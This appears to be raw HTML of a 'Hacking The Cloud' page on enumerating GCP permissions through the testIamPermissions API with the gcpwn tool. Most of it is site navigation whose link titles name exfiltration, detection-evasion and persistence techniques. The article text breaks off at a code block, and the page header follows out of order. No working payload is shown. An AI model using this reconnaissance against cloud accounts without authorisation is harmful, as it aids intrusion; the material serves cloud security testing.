class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2 checked> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=true> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#what-is-testiampermissions class=md-nav__link> <span class=md-ellipsis> What is testIamPermissions? </span> </a> </li> <li class=md-nav__item> <a href=#gcpwn-introduction class=md-nav__link> <span class=md-ellipsis> GCPwn Introduction </span> </a> </li> <li class=md-nav__item> <a href=#enumerate-permissions-on-individual-resources class=md-nav__link> <span class=md-ellipsis> Enumerate Permissions on Individual Resources </span> </a> </li> <li class=md-nav__item> <a href=#enumerate-9500-permission-on-orgfolderproject class=md-nav__link> <span class=md-ellipsis> Enumerate ~9500 Permission on Org/Folder/Project </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#what-is-testiampermissions class=md-nav__link> <span class=md-ellipsis> What is testIamPermissions? </span> </a> </li> <li class=md-nav__item> <a href=#gcpwn-introduction class=md-nav__link> <span class=md-ellipsis> GCPwn Introduction </span> </a> </li> <li class=md-nav__item> <a href=#enumerate-permissions-on-individual-resources class=md-nav__link> <span class=md-ellipsis> Enumerate Permissions on Individual Resources </span> </a> </li> <li class=md-nav__item> <a href=#enumerate-9500-permission-on-orgfolderproject class=md-nav__link> <span class=md-ellipsis> Enumerate ~9500 Permission on Org/Folder/Project </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Scott Weston (@WebbinRoot)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/enumeration/enumerate_all_permissions.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Enumerate Org/Folder/Project Permissions + Individual Resource Permissions</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/NetSPI/gcpwn>gcpwn</a></p> </li> </ul> </div> <h2 id=what-is-testiampermissions>What is testIamPermissions?<a class=headerlink href=#what-is-testiampermissions title="Permanent link">&para;</a></h2> <p>GCP offers a "testIamPermissions" API call on most resources that support policies. This includes resources like:</p> <ul> <li>Organizations</li> <li>Folders</li> <li>Projects</li> <li>Compute Instances</li> <li>Cloud Functions</li> </ul> <p>In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource. </p> <p>For example, for <strong>"Projects"</strong> (probably 99% of people's interest), testIamPermissions is documented <a href=https://cloud.google.com/resource-manager/reference/rest/v1/projects/testIamPermissions>here</a>. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed <strong>in that specific project</strong>. So in the example below, we pass in a large number of permissions and maybe just "cloudfunctions.functions.list" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).</p> <div class=highlight><pre><span></span><code># Input
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#what-is-testiampermissions class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a 